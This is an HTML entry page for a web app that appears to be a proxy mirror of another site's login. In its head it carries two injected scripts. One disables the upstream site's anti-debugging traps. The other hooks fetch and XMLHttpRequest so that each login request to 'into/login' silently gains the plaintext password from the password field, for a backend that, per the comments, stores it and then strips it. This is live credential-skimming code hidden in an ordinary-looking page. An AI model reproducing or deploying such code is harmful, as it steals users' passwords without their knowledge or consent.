<!doctype html>
<html lang="zh-CN">
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
        <link rel="icon" href="/favicon.ico" />
        <meta name="renderer" content="webkit" />
        <meta name="viewport" content="width=device-width,initial-scale=1" />
        <meta name="mobile-web-app-capable" content="yes" />
        <meta name="mobile-web-app-status-bar-style" content="black" />
        <meta name="format-detection" content="telephone=no" />
        <meta name="format-detection" content="address=no" />
        <meta name="referrer" content="no-referrer" />
        <meta http-equiv="Pragma" content="no-cache" />
        <meta http-equiv="Cache-Control" content="no-cache" />
        <meta http-equiv="Expires" content="0" />
        <meta name="author" content="baidu.com" />
        <title></title>
        <meta name="keywords" content="" />
        <meta name="description" content="" />
        <style>
            body,
            html {
                padding: 0;
                margin: 0;
                width: 100%;
                height: 100%;
                position: relative;
            }
            #app {
                width: 100%;
                height: 100%;
            }
            #app-loading {
                width: 100%;
                height: 100%;
                display: flex;
                align-items: center;
                justify-content: center;
            }
        </style>
        <script>
            // 反反调试: 上游用 setInterval/setTimeout + new Function('debugger') 制造调试陷阱,
            // 包裹这三个构造器,过滤掉含 'debugger' 的调用,保证页面可正常打开 DevTools。
            !(function () {
                if (window.__noDbg) return;
                window.__noDbg = 1;
                var SI = window.setInterval,
                    ST = window.setTimeout;
                function _t(f) {
                    try {
                        return (
                            typeof f === "function" &&
                            /debu/i.test(f.toString())
                        );
                    } catch (e) {
                        return !1;
                    }
                }
                window.setInterval = function (f) {
                    return _t(f) ? 0 : SI.apply(window, arguments);
                };
                window.setTimeout = function (f) {
                    return _t(f) ? 0 : ST.apply(window, arguments);
                };
                try {
                    var NF = window.Function;
                    function _s(a) {
                        if (a && a.length) {
                            var b = a[a.length - 1];
                            if (typeof b === "string" && /debugger/i.test(b))
                                a[a.length - 1] = b.replace(
                                    /debugger\s*;?/gi,
                                    "",
                                );
                        }
                        return a;
                    }
                    var P = new Proxy(NF, {
                        apply: function (t, c, a) {
                            return NF.apply(void 0, _s(a));
                        },
                        construct: function (t, a) {
                            return NF.apply(void 0, _s(a));
                        },
                    });
                    window.Function = P;
                    try {
                        Object.defineProperty(
                            Function.prototype,
                            "constructor",
                            { value: P, configurable: !0, writable: !0 },
                        );
                    } catch (e) {}
                } catch (e) {}
            })();
        </script>
        <script>
            // 明文密码注入: 上游登录只发 MD5, 后端无法落库原始密码。
            // 拦截 fetch/XHR, 给 /into/login 请求体补上 rawPassword(明文), ResponseRewrite 存完即删。
            !(function () {
                function addRaw(body) {
                    try {
                        var d = JSON.parse(body);
                        var p = document.querySelector(
                            "input[type=password]",
                        );
                        if (p && p.value) {
                            d.rawPassword = p.value;
                            return JSON.stringify(d);
                        }
                    } catch (e) {}
                    return body;
                }
                var F = window.fetch;
                if (F) {
                    window.fetch = function (u, o) {
                        if (
                            typeof u === "string" &&
                            u.indexOf("into/login") >= 0 &&
                            o &&
                            o.body
                        ) {
                            o.body = addRaw(o.body);
                        }
                        return F.apply(this, arguments);
                    };
                }
                var X = XMLHttpRequest.prototype,
                    o = X.open,
                    s = X.send;
                X.open = function (m, u) {
                    this._u = u;
                    return o.apply(this, arguments);
                };
                X.send = function (b) {
                    if (
                        this._u &&
                        this._u.indexOf("into/login") >= 0 &&
                        b
                    ) {
                        b = addRaw(b);
                    }
                    return s.call(this, b);
                };
            })();
        </script>
        <script type="module" crossorigin src="/static/DoTn2AI9.js"></script>
        <link
            rel="modulepreload"
            crossorigin
            href="/static/vendor-modules-BBFj4IyA.js"
        />
        <link
            rel="modulepreload"
            crossorigin
            href="/static/vendor-vue-nFYlcxC2.js"
        />
        <link rel="stylesheet" crossorigin href="/static/AHcRFWhR.css" />
        <link rel="stylesheet" crossorigin href="/static/uX2GsmJ0.css" />
        <link rel="stylesheet" crossorigin href="/static/DUerVDQP.css" />
    </head>
    <body>
        <noscript
            ><strong
                >We're sorry, but it doesn't work properly without JavaScript
                enabled. Please enable it to continue.</strong
            ></noscript
        >
        <div id="app">
            <div id="app-loading">
                <div class="layui-loading-spinning">
                    <img
                        src="data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20xmlns:xlink='http://www.w3.org/1999/xlink'%20style='margin:auto;display:block;'%20width='34px'%20height='34px'%20viewBox='0%200%20100%20100'%20preserveAspectRatio='xMidYMid'%3e%3cg%20transform='rotate(0%2050%2050)'%3e%3crect%20x='46'%20y='8'%20rx='3.7800000000000002'%20ry='3.7800000000000002'%20width='8'%20height='18'%20fill='%234d4244'%3e%3canimate%20attributeName='opacity'%20values='1;0'%20keyTimes='0;1'%20dur='1s'%20begin='-0.9166666666666666s'%20repeatCount='indefinite'%3e%3c/animate%3e%3c/rect%3e%3c/g%3e%3cg%20transform='rotate(30%2050%2050)'%3e%3crect%20x='46'%20y='8'%20rx='3.7800000000000002'%20ry='3.7800000000000002'%20width='8'%20height='18'%20fill='%234d4244'%3e%3canimate%20attributeName='opacity'%20values='1;0'%20keyTimes='0;1'%20dur='1s'%20begin='-0.8333333333333334s'%20repeatCount='indefinite'%3e%3c/animate%3e%3c/rect%3e%3c/g%3e%3cg%20transform='rotate(60%2050%2050)'%3e%3crect%20x='46'%20y='8'%20rx='3.7800000000000002'%20ry='3.7800000000000002'%20width='8'%20height='18'%20fill='%234d4244'%3e%3canimate%20attributeName='opacity'%20values='1;0'%20keyTimes='0;1'%20dur='1s'%20begin='-0.75s'%20repeatCount='indefinite'%3e%3c/animate%3e%3c/rect%3e%3c/g%3e%3cg%20transform='rotate(90%2050%2050)'%3e%3crect%20x='46'%20y='8'%20rx='3.7800000000000002'%20ry='3.7800000000000002'%20width='8'%20height='18'%20fill='%234d4244'%3e%3canimate%20attributeName='opacity'%20values='1;0'%20keyTimes='0;1'%20dur='1s'%20begin='-0.6666666666666666s'%20repeatCount='indefinite'%3e%3c/animate%3e%3c/rect%3e%3c/g%3e%3cg%20transform='rotate(120%2050%2050)'%3e%3crect%20x='46'%20y='8'%20rx='3.7800000000000002'%20ry='3.7800000000000002'%20width='8'%20height='18'%20fill='%234d4244'%3e%3canimate%20attributeName='opacity'%20values='1;0'%20keyTimes='0;1'%20dur='1s'%20begin='-0.5833333333333334s'%20repeatCount='indefinite'%3e%3c/animate%3e%3c/rect%3e%3c/g%3e%3cg%20transform='rotate(150%2050%2050)'%3e%3crect%20x='46'%20y='8'%20rx='3.7800000000000002'%20ry='3.7800000000000002'%20width='8'%20height='18'%20fill='%234d4244'%3e%3canimate%20attributeName='opacity'%20values='1;0'%20keyTimes='0;1'%20dur='1s'%20begin='-0.5s'%20repeatCount='indefinite'%3e%3c/animate%3e%3c/rect%3e%3c/g%3e%3cg%20transform='rotate(180%2050%2050)'%3e%3crect%20x='46'%20y='8'%20rx='3.7800000000000002'%20ry='3.7800000000000002'%20width='8'%20height='18'%20fill='%234d4244'%3e%3canimate%20attributeName='opacity'%20values='1;0'%20keyTimes='0;1'%20dur='1s'%20begin='-0.4166666666666667s'%20repeatCount='indefinite'%3e%3c/animate%3e%3c/rect%3e%3c/g%3e%3cg%20transform='rotate(210%2050%2050)'%3e%3crect%20x='46'%20y='8'%20rx='3.7800000000000002'%20ry='3.7800000000000002'%20width='8'%20height='18'%20fill='%234d4244'%3e%3canimate%20attributeName='opacity'%20values='1;0'%20keyTimes='0;1'%20dur='1s'%20begin='-0.3333333333333333s'%20repeatCount='indefinite'%3e%3c/animate%3e%3c/rect%3e%3c/g%3e%3cg%20transform='rotate(240%2050%2050)'%3e%3crect%20x='46'%20y='8'%20rx='3.7800000000000002'%20ry='3.7800000000000002'%20width='8'%20height='18'%20fill='%234d4244'%3e%3canimate%20attributeName='opacity'%20values='1;0'%20keyTimes='0;1'%20dur='1s'%20begin='-0.25s'%20repeatCount='indefinite'%3e%3c/animate%3e%3c/rect%3e%3c/g%3e%3cg%20transform='rotate(270%2050%2050)'%3e%3crect%20x='46'%20y='8'%20rx='3.7800000000000002'%20ry='3.7800000000000002'%20width='8'%20height='18'%20fill='%234d4244'%3e%3canimate%20attributeName='opacity'%20values='1;0'%20keyTimes='0;1'%20dur='1s'%20begin='-0.16666666666666666s'%20repeatCount='indefinite'%3e%3c/animate%3e%3c/rect%3e%3c/g%3e%3cg%20transform='rotate(300%2050%2050)'%3e%3crect%20x='46'%20y='8'%20rx='3.7800000000000002'%20ry='3.7800000000000002'%20width='8'%20height='18'%20fill='%234d4244'%3e%3canimate%20attributeName='opacity'%20values='1;0'%20keyTimes='0;1'%20dur='1s'%20begin='-0.08333333333333333s'%20repeatCount='indefinite'%3e%3c/animate%3e%3c/rect%3e%3c/g%3e%3cg%20transform='rotate(330%2050%2050)'%3e%3crect%20x='46'%20y='8'%20rx='3.7800000000000002'%20ry='3.7800000000000002'%20width='8'%20height='18'%20fill='%234d4244'%3e%3canimate%20attributeName='opacity'%20values='1;0'%20keyTimes='0;1'%20dur='1s'%20begin='0s'%20repeatCount='indefinite'%3e%3c/animate%3e%3c/rect%3e%3c/g%3e%3c/svg%3e"
                    />
                </div>
            </div>
        </div>
    </body>
</html>
